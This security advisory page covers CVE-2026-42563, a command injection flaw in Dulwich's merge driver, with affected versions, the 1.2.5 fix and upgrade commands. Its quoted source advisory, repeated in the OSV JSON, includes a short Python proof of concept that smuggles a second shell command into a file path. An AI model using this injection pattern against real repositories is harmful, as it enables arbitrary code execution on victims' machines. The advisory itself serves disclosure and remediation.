CVE-2026-42563: Dulwich Dulwich Vulnerable To Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-9277-mp7x-85jf
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CWE-78
Published
Advisory Summary

CVE-2026-42563 is a HIGH dulwich vulnerable to command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Dulwich libraries in the PyPI ecosystem. The issue involves dulwich vulnerable to command injection via merge driver path. Remediation is available by upgrading affected packages to version 1.2.5.

CVE-2026-42563 at a Glance

CVE Identifier CVE-2026-42563
GHSA Identifier GHSA-9277-mp7x-85jf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Dulwich
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-42563

To remediate this vulnerability, upgrade all affected Dulwich dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dulwich fixed: 1.2.5 
pip install dulwich>=1.2.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show dulwich

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-42563, inspect your installed packages using pip:

pip show dulwich

Analyze the terminal output to locate any version of Dulwich in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.5), your application is affected.

Note: The pip show dulwich command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Dulwich, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. ## Description - **Type:** Command Injection - **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch) - **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder - **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder. ## Resources - Repository: https://github.com/dulwich/dulwich - Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129) ## Proof of Concept ```python from dulwich.attrs import GitAttributes, Pattern from dulwich.config import ConfigDict from dulwich.merge import merge_blobs from dulwich.objects import Blob # Merge driver with %P (path) - typical for custom merge tools config = ConfigDict() config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A") patterns = [(Pattern(b"*"), {b"merge": b"injectable"})] gitattributes = GitAttributes(patterns) base = Blob.from_string(b"base") ours = Blob.from_string(b"ours") theirs = Blob.from_string(b"theirs") # Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned" malicious_path = b"x; touch /tmp/pwned #" merge_blobs(base, ours, theirs, path=malicious_path, gitattributes=gitattributes, config=config) # => Executes: echo x; touch /tmp/pwned # # => Shell runs: echo x, then touch /tmp/pwned ``` ## Fix [merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)

CVE-2026-42563 Affected Dulwich Versions

1 component(s)
Fixed Versions:
1.2.5
Product / Package Ecosystem Affected Versions Fixed Version
dulwich
pypi/dulwich
PyPI
≥ 0.24.0
< 1.2.5
1.2.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf
NVD — CVE-2026-42563 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-42563
Security Fix Commit FIX COMMIT
https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b
Dulwich Source Repository REPOSITORY
https://github.com/jelmer/dulwich
Dulwich Release RELEASE
https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5

Frequently Asked Questions

What is CVE-2026-42563?
CVE-2026-42563 is a security vulnerability in Dulwich involving Dulwich Vulnerable to Command Injection via Merge Driver Path under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Dulwich versions are affected?
Affected versions include releases prior to 1.2.5 across affected packages: dulwich.
What version fixes CVE-2026-42563?
Upgrading to 1.2.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dulwich affected?
Yes, dulwich is affected in releases prior to 1.2.5. Upgrade your dependency to 1.2.5 or later.
What CWE is associated with CVE-2026-42563?
CVE-2026-42563 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-42563?
Run the dependency tree command: 'pip show dulwich'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9277-mp7x-85jf",
  "modified" : "2026-06-11T14:05:16Z",
  "published" : "2026-05-28T22:29:22Z",
  "aliases" : [ "CVE-2026-42563" ],
  "summary" : "Dulwich Vulnerable to Command Injection via Merge Driver Path",
  "details" : "## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P > %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# => Executes: echo x; touch /tmp/pwned #\n# => Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dulwich"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.24.0"
      }, {
        "fixed" : "1.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42563"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jelmer/dulwich"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-28T22:29:22Z",
    "nvd_published_at" : "2026-06-10T23:16:46Z"
  }
}